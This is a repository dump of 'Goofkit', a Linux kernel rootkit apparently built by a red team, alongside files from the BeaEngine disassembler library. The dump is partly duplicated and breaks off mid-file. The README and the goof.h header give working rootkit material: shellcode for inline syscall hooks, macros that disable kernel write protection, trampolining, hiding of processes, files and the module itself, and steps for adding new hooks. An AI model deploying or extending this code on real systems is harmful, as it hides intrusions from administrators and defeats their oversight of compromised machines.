(GV.REGOPCODE == 6) { 50 | (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; 51 | if (GV.OperandSize == 16) { 52 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmclear "); 53 | } 54 | else if (GV.PrefRepe == 1) { 55 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmxon "); 56 | } 57 | else { 58 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmptrld "); 59 | } 60 | GV.EIP_ += GV.DECALAGE_EIP+2; 61 | 62 | } 63 | else if (GV.REGOPCODE == 7) { 64 | (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; 65 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmptrst "); 66 | GV.EIP_ += GV.DECALAGE_EIP+2; 67 | } 68 | else { 69 | FailDecode(pMyDisasm); 70 | } 71 | 72 | } 73 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Goofkit 2 | Goofkit is an inline function hooking and trampolining rootkit. Goofkit uses inline hooking and trampolining to create a more robust and better hidden rootkit. Goofkit does not modify the system call table instead it inserts hooks into the system calls itself. 3 | 4 | ![alt text](https://raw.githubusercontent.com/RITRedteam/goofkit/master/docs/Poster.png) 5 | 6 | ## Features 7 | * Process hiding 8 | - Hide processes from the /proc directory 9 | * File hiding 10 | - Hides files from the getdents call 11 | * Hiding itself 12 | - Unlinks itself from the kobject list and the init list 13 | * File ACLs (broken?) 14 | - Returns error when specifi files attempt to open 15 | * _Netfilter hook - WIP_ 16 | * _Privelege escalation - WIP_ 17 | 18 | ## Tested on: 19 |
20 | | Debian 8 Jessie           | Debian 9 Stretch        |
21 | | Kernel: 3.16.0-4-amd64    | Kernel: 4.9.0-7-amd64   |
22 | | * uname ✅                | * uname ✅              |
23 | | * getdents ✅             | * getdents ✅           |
24 | | * kill ✅                 | * kill ✅               |
25 | --------------------------------------------------------
26 | | Centos 7                  |                         |
27 | | Kernel: 3.10.0-957        |                         |
28 | | * uname 🚫                |                         |
29 | | * getdents ✅             |                         |
30 | | * kill 🚫                 |                         |
31 | 
32 | 
33 | 34 | 35 | * Centos 7 kill error * 36 | Seems to make it through syscall kernel crashes after goofy_kill returns. 37 | 38 | 39 | 40 | 41 | ## Inline hooking 42 | Instead of using the standard method of system call hooking (overwriting the system call table) Goofkit inserts a jump instruction to change the code flow. 43 |
44 | \x48\xb8\x88\x77\x66\x55\x44\x33\x22\x11\x48\x89\xc0\xff\xe0
45 | 
46 | 0:    48 b8 88 77 66 55 44      movabs rax,0x1122334455667788   ; load address into RAX
47 | 7:    33 22 11
48 | a:    48 89 c0                  mov    rax,rax                  ; required but not sure why
49 | d:    ff e0                     jmp    rax                      ; jump to address
50 | 
51 | When copying these instructions into the systemcall its important to not cut instructions in half. If the instruction is cut in half it will result in garbage bytes in the instructions which will casaue the kernel to crash.
52 | To avoid cutting instructions in half Goofkit uses an LDE (currently BeaEngine) to measure the length of each instruction. Goofkit will calculate the number of 1 byte nop instructions it needs to append to the hook so that insturctions are not cut.
53 | A simplified version of how the LDE is used is shown here: 54 |
55 | while len < hook_len:
56 |     len += len(*eip)
57 |     eip += len
58 | 
59 | 60 | ## Trampolining 61 | Trampolining is the reason Goofkit is able to do inline function hooking without multiple writes to the system calls. When a rookit uses inline hooking and wants to pause a specific hook or all malicious behavior it needs to rewrite the systemcall each time. Trampolining allows Goofkit to seemlessly resume normal execution. Instead of rewriting the system call execution can be passed along through the malicious hook to the trampoline and subsequently the original function. 62 | 63 |
64 | syscall_open --> malicious_open --> open_trampoline --> syscall_open+offset_of_hook
65 | 
66 | 67 | ## Creating new hook 68 | To create a new hook you will need to do the following: 69 | 1. Increment the `HOOKS_COUNT` macro 70 | 2. Define a "goofy" function `goofy_open()` in goof.h 71 | 3. Write your function in goof.c 72 | 4. Add a hook:
73 | a. In `goof_init` add a `create_tramp` call. Specify the source (eg. `sys_close`). Specify the goof function. Provide an ID number < HOOKS_COUNT. Specify the byte count provided by the `number_of_bytes_to_pad_jump` function.
74 | b. In `goof_exit` add a remove function passing the ID number of the hook from the previous step.
75 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 71 4 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set 5 | END 6 | opcodes_Grp1.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 86 10 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp1.c 11 | END 12 | opcodes_Grp2.c 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 86 16 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp2.c 17 | END 18 | opcodes_Grp3.c 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 86 22 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp3.c 23 | END 24 | opcodes_Grp4.c 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 86 28 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp4.c 29 | END 30 | opcodes_CLMUL.c 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 87 34 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_CLMUL.c 35 | END 36 | opcodes_Grp5.c 37 | K 25 38 | svn:wc:ra_dav:version-url 39 | V 86 40 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp5.c 41 | END 42 | opcodes_Grp6.c 43 | K 25 44 | svn:wc:ra_dav:version-url 45 | V 86 46 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp6.c 47 | END 48 | opcodes_Grp7.c 49 | K 25 50 | svn:wc:ra_dav:version-url 51 | V 86 52 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp7.c 53 | END 54 | opcodes_Grp8.c 55 | K 25 56 | svn:wc:ra_dav:version-url 57 | V 86 58 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp8.c 59 | END 60 | opcodes_Grp9.c 61 | K 25 62 | svn:wc:ra_dav:version-url 63 | V 86 64 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp9.c 65 | END 66 | opcodes_prefixes.c 67 | K 25 68 | svn:wc:ra_dav:version-url 69 | V 90 70 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_prefixes.c 71 | END 72 | opcodes_N_Z.c 73 | K 25 74 | svn:wc:ra_dav:version-url 75 | V 85 76 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_N_Z.c 77 | END 78 | opcodes_SSE.c 79 | K 25 80 | svn:wc:ra_dav:version-url 81 | V 85 82 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_SSE.c 83 | END 84 | opcodes_FPU.c 85 | K 25 86 | svn:wc:ra_dav:version-url 87 | V 85 88 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_FPU.c 89 | END 90 | Data_opcode.h 91 | K 25 92 | svn:wc:ra_dav:version-url 93 | V 85 94 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/Data_opcode.h 95 | END 96 | opcodes_Grp12.c 97 | K 25 98 | svn:wc:ra_dav:version-url 99 | V 87 100 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp12.c 101 | END 102 | opcodes_Grp13.c 103 | K 25 104 | svn:wc:ra_dav:version-url 105 | V 87 106 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp13.c 107 | END 108 | opcodes_A_M.c 109 | K 25 110 | svn:wc:ra_dav:version-url 111 | V 85 112 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_A_M.c 113 | END 114 | opcodes_Grp14.c 115 | K 25 116 | svn:wc:ra_dav:version-url 117 | V 87 118 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp14.c 119 | END 120 | opcodes_Grp15.c 121 | K 25 122 | svn:wc:ra_dav:version-url 123 | V 87 124 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp15.c 125 | END 126 | opcodes_Grp16.c 127 | K 25 128 | svn:wc:ra_dav:version-url 129 | V 87 130 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_Grp16.c 131 | END 132 | opcodes_MMX.c 133 | K 25 134 | svn:wc:ra_dav:version-url 135 | V 85 136 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_MMX.c 137 | END 138 | opcodes_AES.c 139 | K 25 140 | svn:wc:ra_dav:version-url 141 | V 85 142 | /svn/!svn/ver/125/branches/reg_test/beaengineSources/Includes/instr_set/opcodes_AES.c 143 | END 144 | -------------------------------------------------------------------------------- /goof.h: -------------------------------------------------------------------------------- 1 | /** ~~~~~~~~~~~~~~ Imports ~~~~~~~~~~~~~~~**/ 2 | //Used by kill hook 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | /** ~~~~~~~~~~~~ Kernel specific imports ~~~~~~~~~~~~ **/ 24 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0) 25 | #include 26 | #else 27 | #include 28 | #endif 29 | 30 | #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0) 31 | #include 32 | #endif 33 | 34 | /** ~~~~~~~~~~~~~~~ MACROS ~~~~~~~~~~~~~~~~ **/ 35 | //Allow and disallow writing to syscall 36 | #define DISABLE_W_PROTECTED_MEMORY \ 37 | preempt_disable(); \ 38 | barrier(); \ 39 | write_cr0(read_cr0() & (~ 0x00010000)); 40 | 41 | #define ENABLE_W_PROTECTED_MEMORY \ 42 | write_cr0(read_cr0()); \ 43 | barrier(); \ 44 | preempt_enable(); 45 | 46 | //File hiding macros 47 | #define HIDDEN 0x10000000 48 | 49 | 50 | /** ~~~~~~~~~~~~~~ struct declerations ~~~~~~~~~~~~ **/ 51 | 52 | //Struct for each hook 53 | struct Hook{ 54 | unsigned int id; 55 | unsigned int hook_len; 56 | //Backup of old code so we can restore it 57 | unsigned char *original_code; 58 | //Hook to be inserted into syscall function 59 | unsigned char *hook; 60 | //Trampoline that goofy function will call at end 61 | unsigned char *trampoline; 62 | //Pointer to the original function 63 | unsigned char *og_func; 64 | //Pointer to the new function? 65 | unsigned char *new_func; 66 | //Paused or not 67 | unsigned char paused; 68 | }; 69 | 70 | //Struct used by the uname syscall 71 | struct utsname { 72 | char sysname[sizeof(utsname()->sysname)]; /* Operating system name (e.g., "Linux") */ 73 | char nodename[sizeof(utsname()->nodename)]; /* Name within "some implementation-defined network" */ 74 | char release[sizeof(utsname()->release)]; /* Operating system release (e.g., "2.6.28") */ 75 | char version[sizeof(utsname()->version)]; /* Operating system version */ 76 | char machine[sizeof(utsname()->machine)]; /* Hardware identifier */ 77 | #ifdef _GNU_SOURCE 78 | char domainname[]; /* NIS or YP domain name */ 79 | #endif 80 | }; 81 | 82 | struct linux_dirent { 83 | unsigned long d_ino; /* Inode number */ 84 | unsigned long d_off; /* Offset to next linux_dirent */ 85 | unsigned short d_reclen; /* Length of this linux_dirent */ 86 | char d_name[]; /* Filename (null-terminated) */ 87 | /* length is actually (d_reclen - 2 - 88 | offsetof(struct linux_dirent, d_name) */ 89 | /* 90 | char pad; // Zero padding byte 91 | char d_type; // File type (only since Linux 2.6.4; 92 | // offset is (d_reclen - 1)) 93 | */ 94 | }; 95 | 96 | 97 | 98 | // ~~~~~~~~~~~ Variable declerations ~~~~~~~~~~ 99 | static unsigned long *__sys_call_table; 100 | 101 | // process hiding 102 | int is_hidden_proc(pid_t pid); 103 | typedef int pid_t; 104 | 105 | // Trampoline creation 106 | unsigned char * create_tramp(unsigned long *dst, unsigned long *src, unsigned int id, unsigned int h_len); 107 | int HOOK_LEN = 15; // Length of the template 108 | // Code used to jump to arbitrary addresses 109 | // movabs rax,0x1122334455667788 110 | // mov rax,rax 111 | // jmp rax 112 | unsigned char JUMP_TEMPLATE[] = "\x48\xb8\x88\x77\x66\x55\x44\x33\x22\x11\x48\x89\xc0\xff\xe0"; 113 | unsigned char *jump; // What gets populated by the JUMP_TEMPLATE. Instantiated with \x90 and sized by the h_len param in create_tramp function 114 | 115 | // Easy hooking hanglers 116 | //int (*original_kill)(pid_t, int); 117 | //int (*original_open)(const char *pathname, int flags, mode_t mode); 118 | // Not used 119 | //int (*original_getdents)(unsigned int, struct linux_dirent *, unsigned int); 120 | //int (*original_getdents64)(unsigned int, struct linux_dirent *, unsigned int); 121 | //int (*original_open)(const char *, int, mode_t); 122 | //int (*original_uname)(struct utsname *); 123 | 124 | 125 | struct Hook **hooks; 126 | 127 | 128 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp6.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0f00h 21 | * ==================================================================== */ 22 | void __bea_callspec__ G6_(PDISASM pMyDisasm) 23 | { 24 | Int32 OperandSizeOld = 0; 25 | 26 | (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; 27 | OperandSizeOld = GV.OperandSize; 28 | GV.OperandSize = 16; 29 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 30 | GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; 31 | 32 | if (GV.REGOPCODE == 0) { 33 | if ((OperandSizeOld == 64) && (GV.MOD_== 0x3)) { 34 | GV.OperandSize = OperandSizeOld; 35 | } 36 | else { 37 | GV.MemDecoration = Arg1word; 38 | } 39 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 40 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sldt "); 41 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG1; 42 | (*pMyDisasm).Argument2.ArgSize = 32; 43 | GV.OperandSize = OperandSizeOld; 44 | GV.EIP_+= GV.DECALAGE_EIP+2; 45 | } 46 | else if (GV.REGOPCODE == 1) { 47 | if ((OperandSizeOld == 64) && (GV.MOD_== 0x3)) { 48 | GV.OperandSize = OperandSizeOld; 49 | } 50 | else { 51 | GV.MemDecoration = Arg1word; 52 | } 53 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 54 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "str "); 55 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG3; 56 | (*pMyDisasm).Argument2.ArgSize = 16; 57 | GV.OperandSize = OperandSizeOld; 58 | GV.EIP_+= GV.DECALAGE_EIP+2; 59 | } 60 | else if (GV.REGOPCODE == 2) { 61 | GV.MemDecoration = Arg2word; 62 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 63 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lldt "); 64 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG1; 65 | (*pMyDisasm).Argument1.ArgSize = 16; 66 | GV.OperandSize = OperandSizeOld; 67 | GV.EIP_+= GV.DECALAGE_EIP+2; 68 | } 69 | else if (GV.REGOPCODE == 3) { 70 | GV.MemDecoration = Arg2word; 71 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 72 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ltr "); 73 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG3; 74 | (*pMyDisasm).Argument1.ArgSize = 16; 75 | GV.OperandSize = OperandSizeOld; 76 | GV.EIP_+= GV.DECALAGE_EIP+2; 77 | } 78 | else if (GV.REGOPCODE == 4) { 79 | GV.MemDecoration = Arg1word; 80 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 81 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "verr "); 82 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; 83 | (*pMyDisasm).Argument2.ArgSize = 16; 84 | GV.OperandSize = OperandSizeOld; 85 | GV.EIP_+= GV.DECALAGE_EIP+2; 86 | } 87 | else if (GV.REGOPCODE == 5) { 88 | GV.MemDecoration = Arg1word; 89 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 90 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "verw "); 91 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; 92 | (*pMyDisasm).Argument2.ArgSize = 16; 93 | GV.OperandSize = OperandSizeOld; 94 | GV.EIP_+= GV.DECALAGE_EIP+2; 95 | } 96 | else if (GV.REGOPCODE == 6) { 97 | FailDecode(pMyDisasm); 98 | GV.OperandSize = OperandSizeOld; 99 | } 100 | else { 101 | FailDecode(pMyDisasm); 102 | GV.OperandSize = OperandSizeOld; 103 | } 104 | } 105 | 106 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp6.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0f00h 21 | * ==================================================================== */ 22 | void __bea_callspec__ G6_(PDISASM pMyDisasm) 23 | { 24 | Int32 OperandSizeOld = 0; 25 | 26 | (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; 27 | OperandSizeOld = GV.OperandSize; 28 | GV.OperandSize = 16; 29 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 30 | GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; 31 | 32 | if (GV.REGOPCODE == 0) { 33 | if ((OperandSizeOld == 64) && (GV.MOD_== 0x3)) { 34 | GV.OperandSize = OperandSizeOld; 35 | } 36 | else { 37 | GV.MemDecoration = Arg1word; 38 | } 39 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 40 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sldt "); 41 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG1; 42 | (*pMyDisasm).Argument2.ArgSize = 32; 43 | GV.OperandSize = OperandSizeOld; 44 | GV.EIP_+= GV.DECALAGE_EIP+2; 45 | } 46 | else if (GV.REGOPCODE == 1) { 47 | if ((OperandSizeOld == 64) && (GV.MOD_== 0x3)) { 48 | GV.OperandSize = OperandSizeOld; 49 | } 50 | else { 51 | GV.MemDecoration = Arg1word; 52 | } 53 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 54 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "str "); 55 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG3; 56 | (*pMyDisasm).Argument2.ArgSize = 16; 57 | GV.OperandSize = OperandSizeOld; 58 | GV.EIP_+= GV.DECALAGE_EIP+2; 59 | } 60 | else if (GV.REGOPCODE == 2) { 61 | GV.MemDecoration = Arg2word; 62 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 63 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lldt "); 64 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG1; 65 | (*pMyDisasm).Argument1.ArgSize = 16; 66 | GV.OperandSize = OperandSizeOld; 67 | GV.EIP_+= GV.DECALAGE_EIP+2; 68 | } 69 | else if (GV.REGOPCODE == 3) { 70 | GV.MemDecoration = Arg2word; 71 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 72 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ltr "); 73 | (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+MEMORY_MANAGEMENT_REG+REG3; 74 | (*pMyDisasm).Argument1.ArgSize = 16; 75 | GV.OperandSize = OperandSizeOld; 76 | GV.EIP_+= GV.DECALAGE_EIP+2; 77 | } 78 | else if (GV.REGOPCODE == 4) { 79 | GV.MemDecoration = Arg1word; 80 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 81 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "verr "); 82 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; 83 | (*pMyDisasm).Argument2.ArgSize = 16; 84 | GV.OperandSize = OperandSizeOld; 85 | GV.EIP_+= GV.DECALAGE_EIP+2; 86 | } 87 | else if (GV.REGOPCODE == 5) { 88 | GV.MemDecoration = Arg1word; 89 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 90 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "verw "); 91 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; 92 | (*pMyDisasm).Argument2.ArgSize = 16; 93 | GV.OperandSize = OperandSizeOld; 94 | GV.EIP_+= GV.DECALAGE_EIP+2; 95 | } 96 | else if (GV.REGOPCODE == 6) { 97 | FailDecode(pMyDisasm); 98 | GV.OperandSize = OperandSizeOld; 99 | } 100 | else { 101 | FailDecode(pMyDisasm); 102 | GV.OperandSize = OperandSizeOld; 103 | } 104 | } 105 | 106 | -------------------------------------------------------------------------------- /include/beaengine/export.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file export.h 3 | * @author igor.gutnik@gmail.com 4 | * @date Mon Sep 22 09:28:54 2008 5 | * 6 | * @brief This file sets things up for C dynamic library function definitions and 7 | * static inlined functions 8 | * 9 | * This file is part of BeaEngine. 10 | * 11 | * BeaEngine is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU Lesser General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * BeaEngine is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU Lesser General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU Lesser General Public License 22 | * along with BeaEngine. If not, see . */ 23 | 24 | #ifndef __BEA_EXPORT_H__ 25 | #define __BEA_EXPORT_H__ 26 | 27 | 28 | /* Set up for C function definitions, even when using C++ */ 29 | 30 | #ifdef __cplusplus 31 | #define CPP_VISIBLE_BEGIN extern "C" { 32 | #define CPP_VISIBLE_END } 33 | #else 34 | #define CPP_VISIBLE_BEGIN 35 | #define CPP_VISIBLE_END 36 | #endif 37 | 38 | #if defined(_MSC_VER) 39 | #pragma warning( disable: 4251 ) 40 | #endif 41 | 42 | /* Some compilers use a special export keyword */ 43 | #ifndef bea__api_export__ 44 | # if defined(__BEOS__) 45 | # if defined(__GNUC__) 46 | # define bea__api_export__ __declspec(dllexport) 47 | # else 48 | # define bea__api_export__ __declspec(export) 49 | # endif 50 | # elif defined(_WIN32) || defined(_WIN64) 51 | # ifdef __BORLANDC__ 52 | # define bea__api_export__ __declspec(dllexport) 53 | # define bea__api_import__ __declspec(dllimport) 54 | # elif defined(__WATCOMC__) 55 | # define bea__api_export__ __declspec(dllexport) 56 | # define bea__api_import__ 57 | # else 58 | # define bea__api_export__ __declspec(dllexport) 59 | # define bea__api_import__ __declspec(dllimport) 60 | # endif 61 | # elif defined(__OS2__) 62 | # ifdef __WATCOMC__ 63 | # define bea__api_export__ __declspec(dllexport) 64 | # define bea__api_import__ 65 | # else 66 | # define bea__api_export__ 67 | # define bea__api_import__ 68 | # endif 69 | # else 70 | # if defined(_WIN32) && defined(__GNUC__) && __GNUC__ >= 4 71 | # define bea__api_export__ __attribubea__ ((visibility("default"))) 72 | # define bea__api_import__ __attribubea__ ((visibility("default"))) 73 | # else 74 | # define bea__api_export__ 75 | # define bea__api_import__ 76 | # endif 77 | # endif 78 | #endif 79 | 80 | /* Use C calling convention by default*/ 81 | 82 | #ifndef __bea_callspec__ 83 | #if defined(BEA_USE_STDCALL) 84 | #if defined(__WIN32__) || defined(WIN32) || defined(_WIN32) || defined(_WIN64) 85 | #if defined(__BORLANDC__) || defined(__WATCOMC__) || defined(_MSC_VER) || defined(__MINGW32__) || defined(__POCC__) 86 | #define __bea_callspec__ __stdcall 87 | #else 88 | #define __bea_callspec__ 89 | #endif 90 | #else 91 | #ifdef __OS2__ 92 | #define __bea_callspec__ _System 93 | #else 94 | #define __bea_callspec__ 95 | #endif 96 | #endif 97 | #else 98 | #define __bea_callspec__ 99 | #endif 100 | #endif 101 | 102 | #ifdef __SYMBIAN32__ 103 | # ifndef EKA2 104 | # undef bea__api_export__ 105 | # undef bea__api_import__ 106 | # define bea__api_export__ 107 | # define bea__api_import__ 108 | # elif !defined(__WINS__) 109 | # undef bea__api_export__ 110 | # undef bea__api_import__ 111 | # define bea__api_export__ __declspec(dllexport) 112 | # define bea__api_import__ __declspec(dllexport) 113 | # endif /* !EKA2 */ 114 | #endif /* __SYMBIAN32__ */ 115 | 116 | 117 | #if defined(__GNUC__) && (__GNUC__ > 2) 118 | #define BEA_EXPECT_CONDITIONAL(c) (__builtin_expect((c), 1)) 119 | #define BEA_UNEXPECT_CONDITIONAL(c) (__builtin_expect((c), 0)) 120 | #else 121 | #define BEA_EXPECT_CONDITIONAL(c) (c) 122 | #define BEA_UNEXPECT_CONDITIONAL(c) (c) 123 | #endif 124 | 125 | 126 | /* Set up compiler-specific options for inlining functions */ 127 | #ifndef BEA_HAS_INLINE 128 | #if defined(__GNUC__) || defined(__POCC__) || defined(__WATCOMC__) || defined(__SUNPRO_C) 129 | #define BEA_HAS_INLINE 130 | #else 131 | /* Add any special compiler-specific cases here */ 132 | #if defined(_MSC_VER) || defined(__BORLANDC__) || \ 133 | defined(__DMC__) || defined(__SC__) || \ 134 | defined(__WATCOMC__) || defined(__LCC__) || \ 135 | defined(__DECC) || defined(__EABI__) 136 | #ifndef __inline__ 137 | #define __inline__ __inline 138 | #endif 139 | #define BEA_HAS_INLINE 140 | #else 141 | #if !defined(__MRC__) && !defined(_SGI_SOURCE) 142 | #ifndef __inline__ 143 | #define __inline__ inline 144 | #endif 145 | #define BEA_HAS_INLINE 146 | #endif /* Not a funky compiler */ 147 | #endif /* Visual C++ */ 148 | #endif /* GNU C */ 149 | #endif /* CACHE_HAS_INLINE */ 150 | 151 | /* If inlining isn't supported, remove "__inline__", turning static 152 | inlined functions into static functions (resulting in code bloat 153 | in all files which include the offending header files) 154 | */ 155 | #ifndef BEA_HAS_INLINE 156 | #define __inline__ 157 | #endif 158 | 159 | 160 | #endif 161 | -------------------------------------------------------------------------------- /include/beaengine/.svn/text-base/export.h.svn-base: -------------------------------------------------------------------------------- 1 | /** 2 | * @file export.h 3 | * @author igor.gutnik@gmail.com 4 | * @date Mon Sep 22 09:28:54 2008 5 | * 6 | * @brief This file sets things up for C dynamic library function definitions and 7 | * static inlined functions 8 | * 9 | * This file is part of BeaEngine. 10 | * 11 | * BeaEngine is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU Lesser General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * BeaEngine is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU Lesser General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU Lesser General Public License 22 | * along with BeaEngine. If not, see . */ 23 | 24 | #ifndef __BEA_EXPORT_H__ 25 | #define __BEA_EXPORT_H__ 26 | 27 | 28 | /* Set up for C function definitions, even when using C++ */ 29 | 30 | #ifdef __cplusplus 31 | #define CPP_VISIBLE_BEGIN extern "C" { 32 | #define CPP_VISIBLE_END } 33 | #else 34 | #define CPP_VISIBLE_BEGIN 35 | #define CPP_VISIBLE_END 36 | #endif 37 | 38 | #if 